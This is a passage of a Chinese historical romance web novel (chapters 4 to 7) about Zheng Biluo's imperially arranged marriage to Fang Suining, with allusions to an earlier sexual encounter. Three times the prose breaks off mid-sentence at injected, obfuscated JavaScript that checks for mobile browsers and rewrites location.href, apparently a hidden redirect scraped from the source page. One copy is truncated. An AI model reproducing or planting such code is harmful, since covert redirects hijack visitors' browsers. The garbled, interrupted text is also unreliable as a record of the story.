吴妈妈为着萝姐儿的婚事忧心了一夜，梦里都在长吁短叹，这会看她一切如常，似乎心情还不错，暗自松一口气，便道：“既然馋了，便少吃一块意思意思，别耽误了一会儿朝食。我叫且微进来给姑娘梳头——” “等等。” 吴妈妈脚步一顿，疑惑地回头。 郑薜萝一手揪着斗篷的前襟拢住了，垂眼：“我方才在街上被行进的马车带起的雨水溅到，想先沐浴……” “看看我说的，下次可别再这样了！赶紧把脏了的衣服脱下来，我去洗——”吴妈妈说着，折身回来。 “不用！” 吴妈妈伸出的手停在半空，郑薜萝后退了一步，捏住衣襟的手攥得死紧。 这会看清了，许是醒得太早，姑娘眼下隐隐有淡淡阴影，脸上却不适时宜地起了一抹诡异的酡红。 郑薜萝咬着唇，徐徐退向室内：“妈妈去叫后厨赶紧烧水来吧！我这身上都是泥水，实在难受，我自己脱就好了……” 吴妈妈细细看了她一眼，最后道：“也好，那我叫且微进来伺候——” “也不用了！” 郑薜萝的头从屏风后露出来，讷讷道：“且微是个嘴快的，好妈妈，别叫其他人知道我偷溜出去买米糕了，母亲知道了会罚我的……” “知道了。姑娘放心吧。” 吴妈妈从房里出来，正遇上且微捧着盆要进屋，便将人拦住了。 “怎么了？”且微止住脚步。 “姑娘应当是想一个人待着，别去打扰她吧。” 吴妈妈将视线从紧闭的房门收回，低声嘱咐，“这段时间，多留神主子的状态。姑娘从小就懂事，这一回，只怕为了咱们郑家，她也只会默默忍着委屈……” “可这是姑娘的终身大事啊。” 吴妈妈想起昨夜在书房外听到的谈话，摇头：“这桩婚事，恐怕是没有转圜了。” 且微愣怔着，半晌道：“夫人怎么说？” 在下人们眼中，夫人在家中的地位有时甚至高过老爷。平日李砚卿从不亏待下人，但真正立起规矩来，也是无人忤逆的威严。 郑薜萝出生后不久，母亲便把她留在宣州，自己随丈夫入京赴任，没过几年，郑薜萝又被送到蓁州祖父家，在江南一直养到了九岁。回到玉京这些年，郑远持一直很忙碌，陪伴女儿的时间很少，而李砚卿待她又极是严厉，可算是实打实的“严母”。 吴妈妈看在眼里，有时会暗暗替姑娘委屈。 “……我去给姑娘做碗糖元宵。” “可是，夫人不是不让姑娘吃甜么？”且微愣愣道。 郑薜萝自幼口味喜甜，来到玉京之后，有好一阵不适应当地的饮食，李砚卿从来也没惯着，说甜食多不好，硬是给她改了，就连每次做醪糟圆子，都唯独她那一份不给放糖。 吴妈妈不无心酸地想：遇上那么大的事，姑娘唯一的发泄，也只是早上偷溜出去，买些糯米糕来化解而已。 “无妨，也做不了多久郑家的姑娘了……” …… 窗外人压低声音，对话还是隐约飘进郑薜萝耳朵里。她坐在热气氤氲的木桶中，闭了闭眼。 已经尝试发泄过了，用最离经叛道的方式。 虽然努力克制，但那些疯狂而旖旎的画面仍然不受控地钻进头脑。 她与那神秘道长颠鸾倒凤，记不清纠缠了几个回合，从起初的生涩抗拒，到后来沉溺其中全然失控。 此刻回想起来，对方应当是中了什么毒，而她误入他的领地，才会一同中招。只不过她中毒的剂量很浅，男人进入之后，药性更被磨人的疼痛化去了不少。 那道长一举一动全凭中毒后激发的生理本能，而她则不然。她明明可以推开、逃走，却在放纵自己，只当一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024503|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切是场绮梦，清醒地沉沦。 虽然早知婚姻是“父母之命，媒妁之言”，却没想到自己的亲事，会让父母如斯为难。 郑薜萝掬起一捧水，看着水滴从指缝中一滴滴落下。 她忽而想起“红拂夜奔”的故事，风流潇洒的红拂女勇敢追逐自由，找寻真爱。 真爱……她既非果敢风流的红拂女，而对方，亦绝无可能是英雄伟岸值得托付的李将军。甚至她都不知那人是谁。只是害怕被安排的未知，而匆匆踏入一场疯狂。 她摇了摇头，将这荒诞的幻想甩出去。水滴顺着额发滑落腮边，无声坠进浴桶里。 - 花厅里。一家人齐聚一堂。 郑远持在主位就座，只有李砚卿左手的一个位置空着。 因主人晚归，今日朝食比平常晚了半个时辰。常日里郑薜萝一向会提前布置好碗筷，等着父母，今日却是最后一个到的。 三丫头绵韵只有四岁，等得饿了实在耐不住，小肉手朝着桌上的一盘樱桃毕罗伸了过去。方姨娘打了下绵韵的手，她又憋憋地缩了回去。孩子虽小，却能察觉今日气氛不同，小嘴一扁，终是没敢哭出来。 “父亲母亲恕罪，阿萝来晚了。” 郑远持看向出现在门外的女儿，语气温和：“无妨，来坐下吃饭。” 早餐正式开始，除了偶尔碗盏的碰撞，一时不闻其它声音。 “阿萝。”郑远持突然出声，一桌人安静下来。 郑薜萝不紧不慢地放下手中的筷子，端正坐好。 她微凉的目光莫名让郑远持想起曾经看过的关在囚车里等待宣判的犯人，让人心头沉甸甸的。 郑远持移开视线：“圣人昨日在朝上，关心起了你的婚事，给你指了婚，对方是尚书左丞房速崇的独子，房遂宁。” “房家？！”方姨娘不禁讶然，“怎会是他……” 郑薜萝离席起身，整了整衣裙，以头顿地，庄重地面朝东方行下大礼。 “臣女郑薜萝谢主隆恩。” 李砚卿的视线停在女儿弓起的后背，唇线紧抿。 郑薜萝直起身子，朝着父亲微微一笑：“女儿要嫁人了，父亲怎么好像不开心？” “……自古女儿出嫁，做父亲的难免都要舍不得，你父亲又怎可能免俗？”李砚卿开口。 郑薜萝坐回自己的位置，平声道：“母亲说得是。” 旁边的方姨娘从桌子下面伸过手来，握住她冰凉的手。郑薜萝转脸，朝姨娘笑了笑。 房郑两家一向势同水火，圣人却做主让两家结亲，薜萝嫁过去是何境遇，方花实难免为大姐儿担忧。 “长姊要嫁人了么？那房家哥哥是什么人？状元郎？还是大将军？”弟弟郑成帷嘴里塞得满满，一边好奇地问。 郑薜萝拿起帕子，去给郑成帷擦嘴，微笑着道：“成帷喜欢什么样的？” “我喜欢大将军！状元郎嘛……也可以——阿姊喜欢什么样的？” 没人有心思去听孩子的童言无忌，然而所有人都将目光投向郑薜萝，似乎也想知道她的答案。 “阿姊……都喜欢。” 郑薜萝看向父亲：“素闻清河房氏乃矜贵世家，地胄清高，门风检肃，女儿嫁入房家，是再好没有的去处，父亲不必舍不得女儿。” “……你能看开便好。”郑远持心头微酸，声音哑了几分。 “父亲说的什么话？女儿如何看不开？那房遂宁既出身房氏，定也是瑶林琼树一般的人物，女儿还有什么不满意的？” 郑远持沉默。 “父亲今日不去上朝么？”郑薜萝语气轻松地问。 李砚卿道：“这场婚事乃是皇帝钦赐，朝廷仪制、吉凶五礼，都需按照礼部的规矩来，过一会礼部官员会登门，为两家合婚取八字、归卜于庙，你父亲需在家等候。” “这么快啊。” “这是圣人的旨意，无人敢怠慢。按照计划，傍晚时分，房家的人应当也会上门了。” 5. 第5章 这一日，永宁坊的郑府车马盈门，道贺的同僚陆续登门，络绎不绝。 傍晚时分，铜锣开道，鼓乐齐鸣，丞相府的仪仗穿过大半个玉京城，浩浩荡荡地抵达了郑府门前，占满了整条罗甸街，更显得低调的郑府正门无比局促。 虽然此前朝廷有令，禁止婚姻操办过于铺张，更严令天下嫁女受财，三品以上之家，不得过绢三百匹，然而房氏在各方各面，都昭示着对这一桩婚事的高度重视。今日房家递交婚书，下聘礼，几乎是全族出动。 除了准新郎房遂宁未曾出面以外。 房家给出的说法是：房遂宁身为刑部郎中，有紧要案件在查，实在无法抽身，改日亲自登门，向岳丈大人谢罪。 房家的婚书倒是辞藻华丽，颇具名门之风： 「清河房氏家主顿首。阕叙既久，倾瞩良深。房氏第十四代嫡孙遂宁，未有伉俪，伏承户部侍郎郑远持之长女薜萝，令淑有闻，愿托高媛……」 郑远持捏着婚书，几乎把一口牙咬碎。 婚书已经交换，他冷着脸收下聘礼，一旁观礼的礼部官员见状，笑着上来圆场。 “恭喜郑侍郎，八字已经合过，令爱与丞相大人家的公子日柱相合，乃月书赤绳之缘，来日必是鸳俦凤侣啊！” 郑远持挤出笑容，还了一礼：“请问大人，婚期定在何时？” 礼仪官：“礼部已经择了两个吉祥的日子，一个在三月初六，另一个是九月初八，重阳的前一日。因为圣人赐婚，还需报中宫定夺……不过离三月初六也只剩不到一个月了，婚仪要筹备起来还是略显仓促，大概率还是会在九月。” “明白了。多谢大人。” 还有约莫半年时间，郑远持难看的神色总算稍有放松。 客人络绎离开时，天已向晚，下人引着一个中年妇人进了花厅，拜见郑远持夫妇。那妇人身材微胖，一脸福相，衣饰用料也颇为讲究。 “是秦嬷嬷吧？” 妇人点点头，朝着主人行礼：“老奴拜见郑侍郎、郑夫人。” 郑薜萝嫁入房氏，作为房家第十四代嫡孙正妻，来日要执掌中馈。这秦嬷嬷是夫人裴敏身边的掌事嬷嬷，算是房府里最高级别的女使，此番特地遣来郑府，便是要在接下来这段备婚期间，向准新妇传授房氏家规，以及夫妻礼节。 “且微，给秦嬷嬷奉茶。” 秦嬷嬷笑着道：“夫人不必客气，老身受主子之托，这些日子要叨扰府上了。” 李砚卿道：“哪里的话。只是夫君为官清俭，敝府条件简陋，难免怠慢嬷嬷。” 秦嬷嬷看了郑远持一眼，抿唇：“夫人太谦了。都说江南水土养人，姑娘身为郑氏嫡长女，自小有金玉之丰，富贵逼人……” 郑远持眼眸微眯，目光冷冷回视。 这种明褒暗贬的语气不难分辨，只是这些年他青云直上，刺耳的话便听得越来越少了。对方言下之意，郑氏商贾出身，不足以与官族蝉联、世多卿相的房氏相提并论。 不过是一个房家的下人，竟也敢在他面前如此僭越放肆。 李砚卿清了清嗓子：“萝儿虽是郑氏嫡长女，但自小不在老爷与我身边，礼仪规矩上怕是和玉京的世家贵女们难比，有劳秦嬷嬷费心。” 一番话虽是自谦，然自从将郑薜萝接到玉京，李砚卿便以祖辈的规矩对女儿严格教养，诗书礼乐、德行操守，她俱以最高的标准要求女儿，近乎严苛。 秦嬷嬷心中微凛。亲家母乃是宗亲出身，不敢得罪，忙笑道：“姑娘有敬王爷这样功勋累身的祖辈，教养定是错不得的，来日必与咱们桡哥儿相敬如宾，也能如夫人一般，成为夫君助力。” 李砚卿但笑不语。转头朝郑远持看了一眼，是请示的意思，只见他一只手撑在膝上，似是倦极，只摆摆手，让她做主。 “今日天色已晚，东次间已经收拾出来，请秦嬷嬷安置。明日开始，便有劳嬷嬷。” … 纵然在高门内院掌事多年的秦嬷嬷眼中，郑家这位准新妇也是挑不出什么错处的。 一言一行，端方有礼，更有几分江南女儿的温柔。难得的是，总是一副宠辱不惊的姿态，这一点气质，倒是玉京贵女中鲜见的。 毕竟她们自小养在内宅，见多了争斗，也不乏宅斗的好手。 秦嬷嬷开始逐渐觉得，家里的那位准新郎，或许才更让人头疼。 少郎君虽然遗传了来自父母的好样貌，然而除此之外，以“郞婿”的标准，实则乏善可陈。这些年在刑部，背地里人家都唤他阎罗，镇日带着一队凶神恶煞的手下，不是出入各种场合抓捕犯人，便是定罪监刑问斩……此等画风，纵使肩负清河房氏的光环，也只能让待嫁闺中的小娘子敬而远之。 这不，房家都上门提亲了，少郎君这会儿还不知在哪儿呢。 她望着郑薜萝臻首低垂，专心制茶的样子，不无侥幸地想，等新妇娶进门，桡哥儿总得常回家了吧？ “嬷嬷。” 秦嬷嬷猛然回神。矮几对面，郑薜萝将一只玉色茶盏推了过来：“按照您的方子，茶煮好了，请嬷嬷品鉴。” 面前的茶汤颜色若玉璧，香气馥郁。秦嬷嬷将茶盏端了起来，抿了一口。 “姜粉多了些，略辛辣……”她笑了声，“也是巧了，倒是桡哥儿的口味。” 郑薜萝垂眼，唇角微勾，落在秦嬷嬷眼里，端的是烟视媚行。 “那接下来，我们学什么？” 秦嬷嬷看了一眼郑薜萝身后，后者意会，微微侧过头：“且微，你先出去吧。” 房门轻阖，秦嬷嬷将一本蓝皮册子放在郑薜萝的面前。 册子薄薄一本，封面半个字也无。郑薜萝以为是房氏家谱一类的文书记载，没有多想，便翻开了。 只见扉页上画着一片雾气氤氲的水面，水边伫立着一男一女，正相互依偎。 上方古体字写着：素女经。 她微怔，抬眼看向秦嬷嬷。 “夫妇之道，王化所先；婚姻之礼，人伦攸尚1。为妇人者，绵延子嗣乃一大重则，这素女经中所载，乃夫妻敦伦，阴阳和谐之道，望姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024504|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘研读之余，好好体会。” 郑薜萝的视线落在扉页上的那对男女人像，信手翻了翻这册子。册子不厚，除去图画，文字更是寥寥几语。 脑中登时闪过电光火石的画面，咽口一时发干。她移开视线，刻意将那些强行涌入的记忆驱逐出去。 秦嬷嬷打量她反应，平声道：“这是女子嫁做人妇的必经一步，姑娘不必羞涩。老身也是过来人，当年夫人嫁入房府，也是老身随侍左右……此间只有你我，姑娘先略看一看，倘若有任何不解之处，也可问——” “我确有一问。”郑薜萝将册子阖上，看向对面。 见她如此直接，秦嬷嬷略有意外：“姑娘请讲。” “敢问此书，是只有我学，还是房家郎君也要学？” 秦嬷嬷举到唇边的茶盏一晃，泼了些水出来，面色有些尴尬。 虽然大祈民风开放，类似避火图这样的东西在民间并不新鲜，不少人认同“及时行乐”，甚至闺阁女子与情郎偷尝禁果也是常事；而宫闱后院之中，亦有少妇们共同研读素女经，私密的房中话题偶尔也会成为贵妇们的谈资。 只是郑家长女一向为人低调，鲜少出席玉京豪门贵妇之间的聚会，秦嬷嬷也没有想到她看上去娴静内敛，谈及这个话题，竟毫无半点忸怩之色。 她沉吟一会，语气隐晦：“房/中之术，实则是你来我往，既然要阴阳和谐，确不是一方努力便够的……” 摸了摸鼻子，接着又道，“不过，我们郎君毕竟年长姑娘五岁，于此事上也当是——” 郑薜萝纤眉微抬。 言下之意，他们少郎君业已加冠，如今不少大家子弟成年后便有房里的丫鬟贴身伺候，想必房遂宁于男女之事或许也是有所历练？ 秦嬷嬷看郑薜萝神情，半猜到她在揣测什么，忙道：“姑娘莫要误会，郎君曾受道箓，一向洁身自好，况且他……” 话说了一半，外面突然有人叩门。她着急忙慌地便站起身来。 “秦嬷嬷，打扰了。”吴妈妈从门外进来，见秦嬷嬷脸色，微觉奇怪。 “不打扰，吴妈妈什么事？” “宁安公主来找姑娘。轿子在外面候着。” 秦嬷嬷闻言忙道：“既是公主传召，那姑娘这便快去吧！” 郑薜萝端坐案后，一时却没急着动，迟疑地看着她：“那，今日的功课？” “嗨呀，姑娘天资聪慧，这些东西哪里用费那么多心思？快去吧，莫让公主久等！” 吴妈妈又对秦嬷嬷道：“贵府也来人要找您，现在角门上。说是——表小姐房里的人。” 秦嬷嬷面色一变，连忙站起身来。 “表小姐也真是，怎么还找来这里了……”她嘀咕着，向郑薜萝笑着道，“老奴去一趟，姑娘自便。” 刚迈出门，又扭身回来，嘱咐道，“姑娘好好休息，备婚期间，最重要的是心情愉悦，不要太过紧张了！” 郑薜萝从案后起身，向着秦嬷嬷屈膝行了一礼。 “多谢提点。嬷嬷慢走。” 6. 第 6 章 马车一路向西，进了平康里。郑薜萝从车上下来，在访仙阙的门口站定。 访仙阙是玉京最繁华的酒楼，临水而建，背面便是玉带河。楼如其名，金殿玉阙如仙人居所，窗牗檐柱皆用料精贵，奢华非常。 已近黄昏，日渐西沉，酒楼门前矗立的一整面高大的木质幕墙上，数百盏高悬的灯笼已经点亮，随风微微摇晃，将楼前照得如同白昼。 且微啧嘴：“早就听闻这访仙阙大名，来此地消遣的客人非富即贵——看看这送往迎来，莺燕盈门的热闹景象……” 她压低声音，在郑薜萝耳边道，“好像隔壁便是教坊司，这里可多得是风流公子一夜豪掷千金的传说呢。” 郑薜萝淡淡看了且微一眼，且微立时收敛了好奇的神色，搀着她走上台阶。 一个梳双鬟的婢女迎上来，笑着道：“姑娘快请，公主已经在楼上等了。” 三人迈进酒楼大门，穿过衣衫鬓影的济济人流，径直上了顶楼。引路的婢女在把头临角落的一间包厢前停下，轻轻推开门。 “总算来了！” 郑薜萝迈步进门，摘下头上幂篱，对着宁安公主行了一礼：“参见公主。” “薜萝，坐！” 宁安公主李慧语穿一身洒金石榴裙，广袖流仙，靠坐窗边，面前的案上摆满了美酒佳肴。 郑薜萝在公主身边落座，问：“今日城里怎得如此热闹？难道没有宵禁？” “你看看，我就知道，你定然是被关在家里关傻了呢！马上就要上巳节了啊！” 郑薜萝恍然，转过身凭栏而望。 残阳如血，曲折的玉带河边，男男女女提着灯笼，人影幢幢，悠扬曲乐声从河面上隐约飘至耳边。 “哼，今日这访仙阙生意倒好，隔壁最大的包厢不知被谁占了，给本宫挤到这角落里来，不过这窗外就是玉带河，景色尚算不错，就不和他们计较了！” 宁安公主的母亲乃是窦淑妃，从小颇为受宠，自及笄便出宫立府，只是毕竟身为皇家儿女，行动上不能太过自由，更何况尚未出阁，出入这样人多眼杂的地方，也只能掩藏身份，低调行事。 “难得今日能出来玩，不必费心找借口，我刚从西山别院泡完温泉回来……” 公主捏起手边的琉璃酒杯，仰头喝下一口蒲桃酒，绛红色的酒液从嘴角漏了一滴下来，她毫不在意地举起袖子擦了擦嘴。 “我今日才刚听说，父王给你和房遂宁指婚了——感觉如何？”宁安公主用充满同情的眼神看郑薜萝。 郑薜萝倒是神色淡淡：“公主觉得，臣女还能感觉如何？” “呵呵，要说那房遂宁，本宫倒和他有些缘分——曾有那好事的牵线搭桥说要让他做我的驸马，还真的让司天台去算过八字，后来也不了了之……房家少郎君啊，若不看他为人处世，光看皮囊，倒也还……” 公主心直口快，说到这里才觉得不对，硬生生停住了。 郑薜萝神色平静，端起茶杯抿了一口。公主见状叹口气：“你比我还小一岁，这么早就订了婚，将来陪我玩的又少了一个！” “公主难道还缺玩伴么？臣女有何值得公主念念不忘。” “你很好啊！”宁安认真地看着她，“你不过是话少了些，比那些表面娇滴滴，动辄对男人曲意逢迎，假惺惺的女子可强多了，哼，偏偏男人都是耳朵根软的，就吃这一套！” 且微站在后面，心中不免偷笑：这宁安公主果然如传言中，和她母亲窦淑妃如出一辙，都是快人快语、有仇必报的性子。 房遂宁未能尚公主，背后原因也未必都是其脾性的原因。阖宫内外皆知，窦淑妃最看不惯的，便是房遂宁的姨母裴贵妃。 如今后宫嫔妃之中，除了皇后郭氏，便属裴贵妃最受皇帝宠爱。贵妃裴镜出身河东裴氏，与房遂宁的母亲裴夫人是亲生姐妹。裴贵妃出身高贵，性情柔顺，尤工情调，颇受皇帝宠爱。 裴镜入宫比窦淑妃晚，如今的阶位却已经越过她，协助郭皇后掌后宫诸务，窦淑妃母女自然对其颇为看不惯。 郑薜萝大概知道这几位娘娘之间的官司，只淡淡道：“若寻常女子入不了公主的眼，不如去找寰王殿下？二殿下宠爱公主您这个妹妹，定然乐于陪您。” 公主嘟囔：“皇兄对我自然是好的，可他如今也很忙，除了出征打仗，便是和大臣议事，哪里有时间陪我玩耍……” 二皇子李宥同为窦淑妃所出，自小便在行军打仗上展示出过人的天赋，成年后曾率大军数度征讨夷狄，立下赫赫战功，及冠岁便受封骠骑将军，封寰王。 与之相比，裴贵妃所出的四皇子裕王李初自小体弱，成年后整日不务正业，只醉心于游访名山大川，结识些文人骚客，或是风流女冠。儿子的成器，或许也是唯一让窦淑妃觉得胜过裴贵妃的地方了。 郑薜萝见宁安公主神色落寞，也跟着沉默下来。心中只道帝王家女儿其实也不容易，除了养尊处优，实则自由少得可怜，比之她好不到哪儿去。 宁安摆了摆手：“算了，不说这些扫兴的——来人，我们要听曲！” 移门推开，一个抱着琵琶的琴姬迈进门来，落座厅中。琴姬稍稍调了调琴弦，便问：“请问各位贵客，要听什么曲？” “就听你们这儿客人点的最多的曲子。”公主捻起一片鹿脯，放进嘴里嚼着。 琴姬有些犹豫：“听得最多的……大都是男宾点的一些……” “无妨，就听听时下玉京城的公子哥儿们都好什么！是不是？”公主冲郑薜萝眨了眨眼。 郑薜萝勾唇，朝踌躇着的琴姬点点头。那琴姬稍稍定心，清了清嗓子，便开口唱了起来： “月牙儿弯弯照西楼， 金簪儿绾发作茧囚。 红烛儿烧尽五更泪， 怎及得野塘边，草叶尖， 那滴溜溜的露水珠儿， 趁着天未晓，自在游…… 婚书儿叠叠锁雕奁， 盟誓儿沉沉压心头。 说甚么天长与地久， 露水情缘不须愁， 晨光一散各西东， 清风明月自在游……” 琴姬媚眼如丝飘向客人席位，浑然忘了座上是两位女宾。公主已然有些微醺，丝毫未觉这段歌颂露水情缘的唱词有何不妥，也开始跟着曲调哼唱着。 郑薜萝听得出了神。 那边，琴姬歌声婉转，唱得益发动情： “说甚么天长与地久， 露水情缘不须愁……” 当是时，旁边的包厢里忽然响起一个男声：“稀客稀客！今日居然把你请出山来了！——殿下，看来还是您的面子大，哈哈哈！” 宁安公主将手一抬，琴姬停了下来。 “下去吧。” 琴姬抱着琴退了出去。只听隔壁另一道矜贵十足的声音带着倜傥笑意：“哪里是我的面子大，明明是他在躲人。” “不好，是四皇兄！” 公主立时便听出来，这声音是四皇子李初的。心中登时懊悔，早该想到的，今夜的访仙阙能把她挤到角落包厢的人，自然不会是什么简单的人物。 郑薜萝握了握她的手：“他们在明，我们在暗，公主不必担心。” 公主点点头。也是，大家都是偷溜出来玩的，就算被发现，谁也告不了谁的状。 再说裕王李初一向行事恣意，自己都胡闹惯了，也不会像自己的兄长李宥那样来操心她。 这么一想，公主镇静了不少，又给自己斟了杯酒。 裕王与她们所在的包厢只隔了一道薄薄的板壁，此刻安静下来，隔壁的动静便听得一清二楚。 一道脚步声从外面进了屋，衣袖摩挲间，男人清冽的声音响起。 “荪桡参见殿下。” 郑薜萝心头没来由地一跳。 “竟然有意外之喜，偶遇你的未婚夫！”公主抓住她的胳膊摇晃了两下。 裕王不紧不慢地道：“今日这样的场合，别拘着了，免礼免礼！表弟快过来坐——蔡给事，你也是，低调些，别给本王惹麻烦！”随即响起斟酒的涓涓细流声。 宁安公主冷笑了一声：“我当是谁，原来是蔡溪。” 郑薜萝也听说过蔡溪。郑远持任国子监司业时，此人做过他的下属。写得一笔好文章，与不少文人都有结交，是个有才的，因为态度懒散，后来被调去了弘文馆作勘校。郑远持曾感叹过，蔡家小子，只可惜一身才华，却是个不求上进的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024505|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那边厢蔡溪兴奋地大声道：“今日佳节，便请殿下举杯，恭贺荪桡兄将迎娶佳人，顺便也让下官沾沾喜气，哈哈哈！” 裕王也道：“是啊，本王早就听说，郑侍郎家的嫡长女养在江南，气质温婉，只可惜一向低调，从未见过……” “气质温婉否未可知。商人重利，多有狡黠市侩之徒倒是真的。” 房遂宁话音落地，隔壁几人陷入沉默。 宁安面露不忿，看了眼郑薜萝，忍住了没说话。 那一头裕王打破沉默：“荪桡，你和那郑薜萝此前曾见过？” “不曾。” “那你为何这么说？”裕王扬了扬眉毛。 蔡溪聒噪道：“殿下还不知道他么，他就是气不顺，脾气只怕比阴沟里的石头还要臭！——这人啊，怕是眼里没有女人，只有案子！难怪都说他是孤寡之命……” 裕王不以为然：“什么孤寡之命，那都是有心之人拿来污蔑房家的，司天台可是算出他与那郑氏女‘日柱相合，月书赤绳之缘’的！” 蔡溪忍不住道：“殿下，这些判词，难道不是礼部为了迎合这桩婚事编出来的么？” 郑薜萝无意识勾了勾唇。蔡溪这话倒是实在。 “怎可能？”裕王语气认真，“司天台观测天象卜测吉凶，顺应的只有天意，是不能拿来开玩笑的，否则，荪桡早就做了我李家的驸马了……” “好吧……”蔡溪吐了吐舌头，又好奇道，“荪桡，说句实话，你对女人感兴趣么？” 没有听见回答。 “你笑什么笑？说真的，殿下，我就没看过他和女人打过交道！坊间传说他七杀命格，其实我都没怎么当真，不过我一直有个猜测，没敢当面向你求证……” 蔡溪顿了一会，似在斟酌是否要问，裕王嫌他磨叽：“求证什么？？你倒是说啊！” “那我就说了。房兄，你，是不是喜欢男人啊？” “噗——” 宁安一个没忍住，含在嘴里的酒喷了出来。郑薜萝默默将手中帕子递了过去。 公主拿起帕子擦嘴：“这个蔡溪，简直离谱……” “也说不定呢。”郑薜萝轻声道。 宁安瞪圆了眼睛看向她。她还真有些佩服她，这等气度，要嫁的丈夫疑似好男风，居然还能如此淡定，跟个没事人一般！ 那边，离谱的蔡溪又有了新主意：“今日天时地利，倘若荪桡你真的不好男风，咱们叫几个姑娘来，趁着兄弟你尚是自由之身，今夜就玩他个通宵，如何？！” 裕王笑道：“你可别逗他了，他那么个好洁成癖的人，怎么可能陪你胡闹。” 谁料房遂宁一语惊众人：“倒也无不可。” “房兄当真？？好好好！今日果然好日子，房兄破天荒要开荤了，果然要做人夫就是不一样哈哈哈……”蔡溪兴奋不已，忙着便要喊人。 房遂宁道：“我听说鸣珂曲里，最有名的歌伎便是夜来？” 蔡溪有些意外：“啊，是啊！夜来善晓音律，妙攻弦歌，一度是鸣珂曲的花魁，没想到连房兄都听过她的花名……” “听说这个夜来最近都不怎么出来接客，不知你出面能否请得动她？” 宁安实在听不下去，鼻孔里出气哼了一声。 那边厢蔡溪为难起来：“兄弟你有所不知，那国子监的卢序槐对夜来颇为用心，为了她连夫人都不顾，传言他准备为夜来赎身，接她出鸣珂曲。现在除了罗祭酒，旁的客人夜来已经不太接了……” “那真是可惜了。”隔着一层板壁，房遂宁遗憾的语气十分清晰。 宁安撇了撇嘴：“可算叫我看清了，这个房遂宁，什么冷淡自持生人勿近都是假象，实则和那些臭男人一样，满脑子都是些龌龊心思！还好没叫他做我的驸马……” 她意识到失言，去看郑薜萝。而她神色依旧淡淡，看不出什么情绪。 “不过，至少说明，房遂宁他不喜欢男人。”公主拍拍她的肩膀，找到个自以为能安慰的理由。 屋中的熏炉香气氤氲，郑薜萝觉得有些热，下意识扯了扯帔帛。 宁安公主视线定住，忽然发现了什么了不得的事情，指着她的脖颈。 “哎——你这里怎么回事？” 7. 第 7 章 郑薜萝匆忙拢了拢帔帛，盖住领口。 公主只觉可疑，一把将她的额帔帛重又扯开。只见白皙如玉的肌肤上，遍布星星点点的红痕，犹如白雪之上盛放的红梅。 “……可能是风疹吧。”郑薜萝伸出手盖在那片红痕上，更显得欲盖弥彰。 “啧啧，”宁安眼中闪过暧昧笑意，“你可知你这脖子上的痕迹，像什么么？” 她虽出生宫闱之中，实则于男女之事上颇为放浪形骸，纵然未出嫁，公主府中养着的伶人小倌却是不少——这样的痕迹，她自然熟悉。 郑薜萝两腮渐红，一时无言以对。 公主看着她这副鹌鹑样子，更想要逗她，凑上前压低声道：“嗳，上回给你看的那本册子，还记得么？” “……” 正这时，隔壁忽传来女子尖锐呼声。房遂宁沉冷的声音随即响起：“滚远些。” 公主立时松开抓着郑薜萝的手，二人对视一眼，都安静下来。 隔壁沉默了半晌，蔡溪干笑出声：“嗳，沁娘也是看房兄你一个人喝酒太干巴，好心陪你嘛，哪有下手这么狠的，当人家是你的犯人呢……啧啧，一点都不怜香惜玉！” 只听女子断断续续的哭声，听声音似不完全是委屈，倒像是真的受了苦。 叫沁娘的是访仙阙新晋的头牌，热情奔放，长得又水灵，不少客人趋之若鹜，来访仙阙便点了名叫她。今天老板娘专门让她来陪天字号的贵客，一进门只见几个男宾都已是左拥右抱，只有一个独自坐着喝酒，虽冷着脸，却实在生得一副好样貌，心中激荡，便勇敢凑了上去。 谁知刚挨上了身，便被房遂宁捏住手臂，反折向身后，登时痛得钻心，还以为骨头都断了。 见房遂宁不说话，蔡溪换了副语气，冲着那哭泣不止的女人道，“你也是，胆子忒大了些，不能见着个好看的爷们便往上凑啊，还当咱们房大人和你寻常的那些恩客似的呢，你可知人家什么外号！” 裕王看不下去，道：“你何苦吓她——你，快收了泪儿，下去擦擦吧！” 沁娘见上首客人发话，不敢再待，纵然手臂依旧疼得厉害，还是委委屈屈地应了声是，起身退出去。临走前哀怨地看了房遂宁一眼，想不明白有那么副样貌的人，怎么说发难就发难。 等到人出去了，蔡溪便道：“哎，说句实话，这沁娘的模样不比那个夜来差，荪桡，难道你还非她不可么？” 房遂宁捏着杯子，眉宇间似有化不开的寒冰。方才那大胆的妓子，竟将手直接伸到了他的外袍里，隔着一层中衣，细长手指一下下搔弄他的后腰，正碰到一处伤口——是画麟阁那夜，那个神秘的女人在他身上留下的。 蔡溪见他不说话，面色阴晴不定，暗自后悔玩笑开得大了些。 “没错，就是非她不可。”房遂宁似笑非笑的语气。 宁安公主听不下去，鼻子出气哼了一声：“混账东西。” 